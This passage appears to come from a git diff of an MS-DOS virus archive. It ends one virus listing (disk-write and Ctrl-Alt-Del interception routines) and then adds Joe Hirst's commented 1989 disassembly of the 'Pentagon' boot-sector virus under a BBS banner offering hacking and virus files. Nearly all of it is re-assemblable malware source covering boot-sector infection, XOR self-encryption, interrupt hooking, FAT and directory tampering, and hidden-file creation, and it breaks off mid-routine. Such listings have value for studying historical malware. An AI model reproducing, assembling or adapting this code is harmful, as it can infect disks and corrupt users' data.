POP AX ; Retrieve write count
|
||||
DEC AX ; Decrement write count
|
||||
JNZ BP065B ; Write each sector
|
||||
MOV BX,OFFSET BP0059 ; Start of encrypted
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Encrypt
|
||||
XOR BX,BX ; Address start of virus
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,1 ; Track zero, sector 1
|
||||
XOR DH,DH ; Head zero
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP068C ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write 1st FAT sector
|
||||
|
||||
BP068C: MOV BX,OFFSET BP0059
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Decrypt
|
||||
MOV BX,0A00H ; Address 1st FAT sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
MOV CX,2 ; Track zero, sector 2
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP06A8 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Write 2nd FAT sector
|
||||
|
||||
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
|
||||
MOV AX,0301H ; Write one sector
|
||||
INC CX ; Next sector
|
||||
CALL BP031B ; Write to disk
|
||||
JNB BP06B8 ; Branch if no error
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
; Create directory entries
|
||||
|
||||
BP06B8: MOV BX,0E00H ; Address directory
|
||||
MOV CX,5 ; Track zero, sector 5
|
||||
XOR DH,DH ; Head zero
|
||||
MOV AX,7 ; Seven sectors to read
|
||||
BP06C3: PUSH AX ; Save read count
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
CALL BP031B ; Read from disk
|
||||
JB BP06F1 ; Branch if error
|
||||
POP AX ; \ Retrieve and save read count
|
||||
PUSH AX ; /
|
||||
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
|
||||
CALL BP0401 ; Update directory
|
||||
JNB BP06F5 ; Branch if entry found
|
||||
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
|
||||
JNE BP06EA ; Branch if off
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
BP06EA: POP AX ; Retrieve sector count
|
||||
DEC AX ; Decrement sector count
|
||||
JNZ BP06C3 ; Repeat for each sector
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP06F1: POP AX
|
||||
JMP BP06FC ; Pass on to BIOS
|
||||
|
||||
BP06F5: POP AX
|
||||
MOV AX,0301H ; Write one sector
|
||||
CALL BP031B ; Write to disk
|
||||
BP06FC: POP DI
|
||||
POP ES
|
||||
POP SI
|
||||
POP DS
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
INT 68H ; Disk I/O
|
||||
RETF 2
|
||||
|
||||
; Int 9 routine
|
||||
|
||||
BP0709: PUSH AX
|
||||
PUSH BX
|
||||
PUSH DS
|
||||
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
|
||||
XOR AX,AX ; \ Address zero
|
||||
MOV DS,AX ; /
|
||||
IN AL,60H ; Get keyboard token
|
||||
MOV BX,OFFSET BB0417 ; Address Key states
|
||||
TEST BYTE PTR [BX],8 ; Alt key depressed?
|
||||
JZ BP0736 ; Branch if not
|
||||
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
|
||||
JZ BP0736 ; Branch if not
|
||||
CMP AL,53H ; Del character token?
|
||||
JNE BP0736 ; Branch if not
|
||||
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
|
||||
XOR AL,AL ; \ ?
|
||||
OUT 60H,AL ; /
|
||||
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
|
||||
BP0736: POP DS
|
||||
POP BX
|
||||
POP AX
|
||||
INT 69H ; Keyboard I/O
|
||||
PUSHF
|
||||
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
|
||||
JNE BP0765 ; Branch if off
|
||||
POPF
|
||||
MOV AX,3 ; Set mode three
|
||||
INT 10H ; VDU I/O
|
||||
CLI
|
||||
MOV AL,0AH ; Repeat delay 10 times
|
||||
XOR CX,CX ; Maximum loop
|
||||
BP074F: LOOP BP074F ; Delay
|
||||
DEC AL ; Decrement delay count
|
||||
JNZ BP074F ; Repeat delay for count
|
||||
CALL BP04A0 ; Generate a sound
|
||||
XOR CX,CX ; Maximum loop
|
||||
BP075A: LOOP BP075A ; Delay
|
||||
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
|
||||
STI
|
||||
INT 19H ; Disk bootstrap
|
||||
|
||||
BP0765: POPF
|
||||
RETF 2
|
||||
|
||||
DB 27 DUP (0)
|
||||
|
||||
DW0784 DW 0064H ; Cluster number of virus
|
||||
DW0786 DW 0066H ; Cluster number of file
|
||||
DW0788 DW 0B02H ; Virus track & sector
|
||||
DW078A DW 0101H ; Virus head and drive
|
||||
DW078C DW 0B06H ; File track and sector
|
||||
DW078E DW 0101H ; File head and drive
|
||||
DB0790 DB 1 ; Device number
|
||||
|
||||
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
|
||||
DB07B1 DB 'Pentagon,ZG'
|
||||
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
|
||||
|
||||
DB07E0 DB 20H ; Infection count
|
||||
DB07E1 DB 0FFH ; Infected by Brain switch
|
||||
DB07E2 DB 0 ; Directory update switch
|
||||
DB07E3 DB 0 ; Reboot switch
|
||||
|
||||
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END START
|
||||
|
989
MSDOS/Virus.MSDOS.Unknown.pentagon.err
Normal file
989
MSDOS/Virus.MSDOS.Unknown.pentagon.err
Normal file
@ -0,0 +1,989 @@
|
||||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
page 65,132
|
||||
title The 'Pentagon' Virus
|
||||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
; º British Computer Virus Research Centre º
|
||||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||||
; º º
|
||||
; º The 'Pentagon' Virus º
|
||||
; º Disassembled by Joe Hirst, March 1989 º
|
||||
; º º
|
||||
; º Copyright (c) Joe Hirst 1989. º
|
||||
; º º
|
||||
; º This listing is only to be made available to virus researchers º
|
||||
; º or software writers on a need-to-know basis. º
|
||||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||||
|
||||
; The code section between offsets 59H and C4H (which is normally
|
||||
; encrypted) appears to have been separately assemblied using A86.
|
||||
|
||||
; Virus is possibly an honorary term, at least for this sample,
|
||||
; as all attempts to run it have so far failed.
|
||||
|
||||
; This virus consists of a boot sector and two files.
|
||||
; The boot sector is a normal PCDOS 3.20 boot sector with three
|
||||
; changes:
|
||||
|
||||
; 1. The OEM name 'IBM' has been changed to 'HAL'.
|
||||
|
||||
; 2. The first part of the virus code overwrites 036H to 0C5H.
|
||||
|
||||
; 3. 100H-122H has been overwritten by a character string.
|
||||
|
||||
; The name of the first file is the hex character 0F9H. This file
|
||||
; contains the rest of the virus code followed by the original boot
|
||||
; sector.
|
||||
|
||||
; The name of the second file is PENTAGON.TXT. This file does not
|
||||
; appear to be used in any way or contain any meaningful data.
|
||||
|
||||
; Both files are created without the aid of DOS, and the first
|
||||
; file is accessed by its stored absolute location.
|
||||
|
||||
; Four different sections of the virus are separately encrypted:
|
||||
|
||||
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
|
||||
|
||||
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
|
||||
|
||||
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
|
||||
|
||||
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
|
||||
|
||||
SEG70 SEGMENT AT 70H
|
||||
ASSUME CS:SEG70
|
||||
EXIT:
|
||||
SEG70 ENDS
|
||||
|
||||
BOOT SEGMENT AT 0
|
||||
|
||||
ORG 413H
|
||||
BW0413 DW ?
|
||||
|
||||
ORG 417H
|
||||
BB0417 DB ?
|
||||
|
||||
ORG 51CH
|
||||
BW051C DW ?
|
||||
|
||||
ORG 7C0BH
|
||||
DW7C0B DW ?
|
||||
|
||||
ORG 7C18H
|
||||
DW7C18 DW ?
|
||||
DW7C1A DW ?
|
||||
|
||||
ORG 7C2AH
|
||||
DB7C2A DB ?
|
||||
|
||||
ORG 7C37H
|
||||
DW7C37 DW ?
|
||||
DW7C39 DW ?
|
||||
DB7C3B DB ?
|
||||
DB7C3C DB ?
|
||||
DW7C3D DW ?
|
||||
|
||||
ORG 7DB7H
|
||||
DB7DB7 DB ?
|
||||
|
||||
ORG 7DFDH
|
||||
DB7DFD DB ?
|
||||
|
||||
ORG 7E00H
|
||||
DW7E00 DW ? ; DW008F - Track and sector of rest of code
|
||||
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
|
||||
DW7E04 DW ? ; DW0093 - Segment address of virus
|
||||
|
||||
BOOT ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:CODE
|
||||
|
||||
IF1
|
||||
ORG 206H
|
||||
BP0095X LABEL NEAR
|
||||
ENDIF
|
||||
|
||||
ORG 0
|
||||
START: JMP BP0036
|
||||
|
||||
DB 'HAL 3.2'
|
||||
|
||||
DW 512 ; BPB001 - Bytes per sector
|
||||
DB 2 ; BPB002 - Sectors per allocation unit
|
||||
DW 1 ; BPB003 - Reserved sectors
|
||||
DB 2 ; BPB004 - Number of FATs
|
||||
DW 112 ; BPB005 - Number of root dir entries
|
||||
DW 720 ; BPB006 - Number of sectors
|
||||
DB 0FDH ; BPB007 - Media Descriptor
|
||||
DW 2 ; BPB008 - Number of sectors per FAT
|
||||
DW 9 ; BPB009 - Sectors per track
|
||||
DW 2 ; BPB010 - Number of heads
|
||||
DW 0 ; BPB011 - Number of hidden sectors (low order)
|
||||
BPB012 DW 0 ; Number of hidden sectors (high order)
|
||||
|
||||
DB 10 DUP (0)
|
||||
|
||||
HEADNO DB 0
|
||||
|
||||
; Interrupt 30 (1EH) - Disk parameter table
|
||||
|
||||
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
|
||||
|
||||
DB 1, 0
|
||||
|
||||
BP0036: CLI
|
||||
MOV AX,CS ; \ Set SS to CS
|
||||
MOV SS,AX ; /
|
||||
MOV SP,0F000H ; Set stack pointer
|
||||
MOV DS,AX ; Set DS to CS
|
||||
STI
|
||||
MOV BP,OFFSET BP0044+7C00H
|
||||
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
|
||||
NOP
|
||||
DW004A EQU THIS WORD
|
||||
MOV DH,0FCH ; Decryption key
|
||||
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
|
||||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||||
BP0052: XOR [BP+00],DH ; Decrypt a byte
|
||||
INC BP ; Next byte
|
||||
LOOP BP0052 ; Repeat for all of it
|
||||
NOP
|
||||
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
|
||||
MOV AX,BW0413 ; Get RAM size in K
|
||||
SUB AX,0005 ; Subtract five K
|
||||
MOV BW0413,AX ; Replace amended RAM size
|
||||
MOV CL,06 ; Bits to move
|
||||
SHL AX,CL ; Convert to segment address
|
||||
MOV DW0093+7C00H,AX ; Save segment address
|
||||
NOP
|
||||
MOV ES,AX ; Set ES to this segment
|
||||
XOR DI,DI ; Move to start
|
||||
MOV SI,7C00H ; From start of boot sector buffer
|
||||
MOV CX,0200H ; Move one sector
|
||||
CLD
|
||||
REPZ MOVSB ; Move sector to high-core
|
||||
NOP
|
||||
|
||||
; Move next section of code to a safe area
|
||||
|
||||
MOV DI,200H+7C00H
|
||||
MOV SI,OFFSET DW008F+7C00H
|
||||
MOV CX,OFFSET DB00C5-DW008F ; Length to move
|
||||
PUSH DS ; \ Set ES to DS
|
||||
POP ES ; /
|
||||
CLD
|
||||
REPZ MOVSB ; Copy program section
|
||||
JMP BP0095X ; This is BP0095 in new location
|
||||
|
||||
DW008F DW 0B02H ; Track and sector of rest of code
|
||||
DW0091 DW 100H ; Head and drive of rest of code
|
||||
DW0093 DW 9EC0H ; Segment address of virus
|
||||
|
||||
BP0095: MOV CX,0004 ; Number of retries
|
||||
BP0098: PUSH CX
|
||||
MOV CX,DW7E00 ; Get track and sector number
|
||||
MOV DX,DW7E02 ; Get head and drive number
|
||||
MOV ES,DW7E04 ; Get buffer segment address
|
||||
MOV BX,0200H ; Buffer offset
|
||||
MOV AX,0201H ; Read one sector
|
||||
INT 13H ; Disk I/O
|
||||
JNB BP00B8 ; Branch if no error
|
||||
POP CX
|
||||
XOR AH,AH ; Reset floppy disk sub-system
|
||||
INT 13H ; Disk I/O
|
||||
LOOP BP0098 ; Retry
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
BP00B8: POP CX
|
||||
MOV AX,OFFSET DW7E04 ; Address segment address
|
||||
CLI
|
||||
MOV SP,AX ; Point SP at segment address
|
||||
STI
|
||||
MOV AX,0200H ; \ Address of second section
|
||||
PUSH AX ; /
|
||||
RETF
|
||||
|
||||
DB00C5 DB 50H
|
||||
|
||||
; The rest of this sector is a normal PCDOS 3.20 boot sector
|
||||
; which has been overwritten at 100H-122H by a character string
|
||||
|
||||
DB 61H, 0
|
||||
|
||||
XOR AH,AH
|
||||
INT 16H
|
||||
POP SI
|
||||
POP DS
|
||||
POP [SI]
|
||||
|
||||
DW00D0 DW 0B06H ; Track and sector numbers
|
||||
DW00D2 DW 0100H ; Head and drive numbers
|
||||
DB 19H
|
||||
|
||||
MOV SI,OFFSET DB7DB7
|
||||
JMP NEAR PTR DB00C5
|
||||
|
||||
MOV AX,BW051C
|
||||
XOR DX,DX
|
||||
DIV DW7C0B
|
||||
INC AL
|
||||
MOV DB7C3C,AL
|
||||
MOV AX,DW7C37
|
||||
MOV DW7C3D,AX
|
||||
MOV BX,0700H
|
||||
MOV AX,DW7C37
|
||||
CALL BP0137
|
||||
MOV AX,DW7C18
|
||||
SUB AL,DB7C3B
|
||||
INC AX
|
||||
PUSH AX
|
||||
|
||||
DB '(c) 1987 The Pentagon, Zorell Group'
|
||||
|
||||
DB 7CH
|
||||
JMP FAR PTR EXIT
|
||||
|
||||
BP0129: LODSB
|
||||
OR AL,AL
|
||||
JZ BP0150
|
||||
MOV AH,0EH
|
||||
MOV BX,7
|
||||
INT 10H
|
||||
JMP BP0129
|
||||
|
||||
BP0137: XOR DX,DX
|
||||
DIV DW7C18
|
||||
INC DL
|
||||
MOV DB7C3B,DL
|
||||
XOR DX,DX
|
||||
DIV DW7C1A
|
||||
MOV DB7C2A,DL
|
||||
MOV DW7C39,AX
|
||||
BP0150: RET
|
||||
|
||||
MOV AH,2
|
||||
MOV DX,DW7C39
|
||||
MOV CL,6
|
||||
SHL DH,CL
|
||||
OR DH,DB7C3B
|
||||
MOV CX,DX
|
||||
XCHG CH,CL
|
||||
MOV DL,DB7DFD
|
||||
MOV DH,DB7C2A
|
||||
INT 13H
|
||||
RET
|
||||
|
||||
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
|
||||
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
|
||||
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
|
||||
DB 'IBMBIO COMIBMDOS COM'
|
||||
|
||||
ORG 01FEH
|
||||
DW 0AA55H
|
||||
|
||||
; Second sector of virus
|
||||
|
||||
BP0200: CLI
|
||||
MOV SP,0F000H ; Reset stack pointer
|
||||
STI
|
||||
XOR AX,AX ; \ Address zero
|
||||
MOV DS,AX ; /
|
||||
MOV BX,004CH ; INT 13H jump address
|
||||
MOV BP,01A0H ; INT 68H jump address
|
||||
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
|
||||
JE BP0219 ; Branch if not
|
||||
JMP BP024E
|
||||
|
||||
BP0219: MOV AX,[BX] ; Get INT 13H offset
|
||||
MOV DS:[BP+0],AX ; Set INT 68H to this offset
|
||||
MOV AX,[BX+2] ; Get INT 13H segment
|
||||
MOV DS:[BP+2],AX ; Set INT 68H to this segment
|
||||
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
|
||||
MOV AX,CS ; \ Set INT 13H segment
|
||||
MOV [BX+2],AX ; /
|
||||
MOV BX,0024H ; INT 9 jump address
|
||||
MOV BP,01A4H ; INT 69H jump address
|
||||
MOV AX,[BX] ; Get INT 9 offset
|
||||
MOV DS:[BP],AX ; Set INT 69H to this offset
|
||||
MOV AX,[BX+2] ; Get INT 9 segment
|
||||
MOV DS:[BP+2],AX ; Set INT 69H to this segment
|
||||
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
|
||||
MOV AX,CS ; \ Set INT 9 segment
|
||||
MOV [BX+02],AX ; /
|
||||
JMP BP0254
|
||||
|
||||
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
|
||||
ADD WORD PTR [BX],5 ; Restore the 5K
|
||||
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
MOV DX,CS:[BP+2] ; Get head and device
|
||||
MOV BX,0200H ; Address second sector
|
||||
MOV CX,3 ; Three sectors to read
|
||||
BP0265: PUSH CX ; Save read count
|
||||
MOV AX,0201H ; Read one sector
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
CALL BP0300 ; Address to next sector
|
||||
MOV CS:[BP],CX ; Save new track and sector
|
||||
ADD BX,0200H ; Address next buffer area
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP0280 ; Branch if no error
|
||||
POP CX
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
; Read file, first sector
|
||||
|
||||
BP0280: POP CX ; Retrieve read count
|
||||
LOOP BP0265 ; Repeat for other sectors
|
||||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||||
MOV CX,CS:[BP] ; Get track and sector
|
||||
MOV DX,CS:[BP+2] ; Get head and drive
|
||||
MOV BX,1000H ; Buffer address
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP029B ; Branch if no error
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
; Read file, second sector
|
||||
|
||||
BP029B: CALL BP0300 ; Address to next sector
|
||||
ADD BX,0200H ; Update buffer address
|
||||
MOV AX,0201H ; Read one sector
|
||||
CALL BP031B ; Read from disk
|
||||
JNB BP02AC ; Branch if no error
|
||||
INT 18H ; Drop into basic
|
||||
|
||||
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
|
||||
LEA BX,DB0791 ; Address start of encrypted
|
||||
SUB CX,BX ; Length to decrypt
|
||||
MOV AL,0AAH ; Load encryption key
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
CALL BP0315 ; Decrypt
|
||||
MOV AX,CS ; \
|
||||
MOV ES,AX ; ) Set ES & DS to CS
|
||||
MOV DS,AX ; /
|
||||
MOV DI,0100H ; Middle of 1st sector
|
||||
MOV SI,OFFSET DB07BC ; Address copyright message
|
||||
MOV CX,0023H ; Length of copyright message
|
||||
REPZ MOVSB ; Copy copyright message
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
MOV CX,0200H ; Length to decrypt
|
||||
MOV BX,0800H ; Address boot sector store
|
||||
MOV AL,0FCH ; Load encryption key
|
||||
CALL BP0315 ; Decrypt
|
||||
XOR AX,AX ; \ Segment zero
|
||||
MOV ES,AX ; /
|
||||
MOV DI,7C00H ; Boot sector buffer
|
||||
MOV SI,0800H ; Address boot sector store
|
||||
MOV CX,0200H ; Sector length
|
||||
CLD
|
||||
REPZ MOVSB ; Copy boot sector
|
||||
DB 0EAH ; Far jump to boot sector
|
||||
DW 7C00H, 0
|
||||
|
||||
DB 16 DUP (0)
|
||||
|
||||
; Address to next sector
|
||||
|
||||
BP0300: INC CL ; Increment sector number
|
||||
CMP CL,0AH ; Is it sector ten?
|
||||
JL BP0314 ; Branch if not
|
||||
MOV CL,1 ; Set sector to one
|
||||
INC DH ; Increment head
|
||||
CMP DH,2 ; Is it head two?
|
||||
JL BP0314 ; Branch if not
|
||||
XOR DH,DH ; Set head to zero
|
||||
INC CH ; Increment track
|
||||
BP0314: RET
|
||||
|
||||
; Encrypt/decrypt
|
||||
|
||||
BP0315: XOR [BX],AL ; Encrypt a byte
|
||||
INC BX ; Address next byte
|
||||
LOOP BP0315 ; Repeat for count
|
||||
RET
|
||||
|
||||
; Read from or write to disk
|
||||
|
||||
BP031B: PUSH SI
|
||||
PUSH DI
|
||||
MOV SI,AX ; Save function
|
||||
MOV DI,CX ; Save track and sector
|
||||
MOV CX,3 ; Number of retries
|
||||
BP0324: PUSH CX
|
||||
MOV AX,SI ; Retrieve function
|
||||
MOV CX,DI ; Retrieve track and sector
|
||||
INT 68H ; Disk I/O
|
||||
JNB BP0338 ; Branch if no error
|
||||
XOR AH,AH ; Reset sub-system
|
||||
INT 68H ; Disk I/O
|
||||
POP CX ; Retrieve number of retries
|
||||
LOOP BP0324 ; Retry
|
||||
STC
|
||||
JMP BP033B
|
||||
|
||||
BP0338: POP CX ; Retrieve number of retries
|
||||
MOV CX,DI ; Retrieve track and sector
|
||||
BP033B: POP DI
|
||||
POP SI
|
||||
RET
|
||||
|
||||
; Find unused FAT entry pair
|
||||
|
||||
BP033E: PUSH AX
|
||||
PUSH DX
|
||||
PUSH ES
|
||||
PUSH DI
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV DX,CX ; Initial cluster number
|
||||
XOR AL,AL ; Search for zero
|
||||
BP0348: MOV CX,3 ; Three bytes to check
|
||||
MOV DI,BX ; Address FAT entry pair
|
||||
REPZ SCASB ; Scan for non-zero
|
||||
CMP CX,0 ; Is FAT pair unused
|
||||
JE BP0361 ; Branch if yes
|
||||
ADD BX,3 ; Address next entry pair
|
||||
ADD DX,2 ; Update entry count
|
||||
CMP DX,0162H ; Entry 354?
|
||||
JLE BP0348 ; Process entry pair if not
|
||||
STC
|
||||
BP0361: MOV CX,DX ; Cluster number found
|
||||
POP DI
|
||||
POP ES
|
||||
POP DX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Find and flag an unused entry
|
||||
|
||||
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
|
||||
JZ BP0384 ; Branch if unused
|
||||
INC CX ; Next entry number
|
||||
INC BX ; Address 2nd entry
|
||||
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
|
||||
JZ BP038B ; Branch if unused
|
||||
INC CX ; Next entry number
|
||||
ADD BX,2 ; Address next entry pair
|
||||
CMP CX,0163H ; Entry 355?
|
||||
JLE BP0368 ; Process next FAT pair if not
|
||||
STC
|
||||
JMP BP0390
|
||||
|
||||
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
|
||||
JMP BP038F
|
||||
|
||||
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
|
||||
nop ; ** length adjustment, MASM 5.0
|
||||
BP038F: CLC
|
||||
BP0390: RET
|
||||
|
||||
; Unflag Brain virus bad clusters
|
||||
|
||||
BP0391: PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV DX,CX
|
||||
BP0397: MOV AX,[BX] ; Get FAT entry
|
||||
AND AX,0FFFH ; Isolate FAT entry
|
||||
CMP AX,0FF7H ; Bad cluster?
|
||||
JE BP03B8 ; Branch if yes
|
||||
INC DX ; Add to cluster number
|
||||
INC BX ; Address next entry
|
||||
MOV AX,[BX] ; Get FAT entry
|
||||
MOV CL,4 ; Bits to move
|
||||
SHR AX,CL ; Move FAT entry
|
||||
CMP AX,0FF7H ; Bad Cluster?
|
||||
JE BP03C8 ; Branch if yes
|
||||
INC DX ; Add to cluster number
|
||||
ADD BX,2 ; Address next pair of entries
|
||||
CMP DX,015FH ; Entry 351?
|
||||
JLE BP0397 ; Process this pair if not
|
||||
BP03B8: MOV WORD PTR [BX],0 ; \
|
||||
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
|
||||
XOR WORD PTR [BX+3],0FF7H ; /
|
||||
JMP BP03D5
|
||||
|
||||
BP03C8: XOR WORD PTR [BX],0FF7H ; \
|
||||
MOV WORD PTR [BX+2],0 ; ) Clear three entries
|
||||
MOV BYTE PTR [BX+4],0 ; /
|
||||
BP03D5: POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Convert cluster number to track, head and sector
|
||||
|
||||
BP03DA: PUSH AX
|
||||
PUSH BX
|
||||
SUB CX,2 ; Subtract number of 1st cluster
|
||||
ADD CX,CX ; Two sectors per cluster
|
||||
ADD CX,0CH ; Add sector num of 1st cluster
|
||||
MOV AX,CX ; Copy sector number
|
||||
PUSH AX ; Save sector number
|
||||
MOV BL,9 ; Nine sectors per track
|
||||
DIV BL ; Divide by sectors per track
|
||||
INC AH ; First sector is one
|
||||
MOV CL,AH ; Move sector number
|
||||
XOR AH,AH ; Clear top of register
|
||||
MOV BL,2 ; Two heads
|
||||
DIV BL ; Divide by heads
|
||||
MOV DH,AH ; Move head number
|
||||
POP AX ; Retrieve sector number
|
||||
MOV BL,12H ; 18 sectors per track (both sides)
|
||||
DIV BL ; Divide by sectors per track
|
||||
MOV CH,AL ; Move track number
|
||||
POP BX
|
||||
POP AX
|
||||
RET
|
||||
|
||||
; Update directory
|
||||
|
||||
BP0401: PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
MOV CX,000FH ; Fifteen entries per sector
|
||||
XOR DI,DI ; Start of sector
|
||||
CMP AX,7 ; Is this first dir sector
|
||||
JNE BP0416 ; Branch if not
|
||||
SUB CX,3 ; Subtract three from count
|
||||
ADD DI,60H ; Address fourth entry
|
||||
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
|
||||
JNE BP0443 ; Branch if not
|
||||
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
|
||||
JNE BP0443 ; Branch if not
|
||||
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH CX
|
||||
ADD DI,BX ; Add sector address
|
||||
LEA SI,DB07B1 ; Address label
|
||||
MOV CX,000BH ; Length of new label
|
||||
CLD
|
||||
REPZ MOVSB ; Copy label
|
||||
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||||
POP CX
|
||||
POP DI
|
||||
POP SI
|
||||
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
|
||||
JE BP0452 ; Branch if yes
|
||||
ADD DI,20H ; Address next entry
|
||||
LOOP BP0416 ; Process next entry
|
||||
STC
|
||||
JMP BP0487
|
||||
|
||||
BP0452: ADD DI,BX ; Add sector address
|
||||
MOV BX,DI ; Move entry address
|
||||
MOV BYTE PTR [BX],0F9H ; "Filename"
|
||||
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
|
||||
MOV CX,CS:DW0784 ; Get virus cluster number
|
||||
MOV [BX+1AH],CX ; Store starting cluster
|
||||
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
|
||||
MOV WORD PTR [BX+1EH],0 ; /
|
||||
ADD DI,20H ; Address next entry
|
||||
MOV BX,DI ; Move entry address
|
||||
LEA SI,DB0791 ; Address start of encrypted
|
||||
MOV CX,0020H ; One complete entry to move
|
||||
CLD
|
||||
REPZ MOVSB ; Move entry
|
||||
MOV CX,CS:DW0786 ; Get file cluster number
|
||||
MOV [BX+1AH],CX ; Store starting cluster
|
||||
CLC
|
||||
BP0487: POP DI
|
||||
POP SI
|
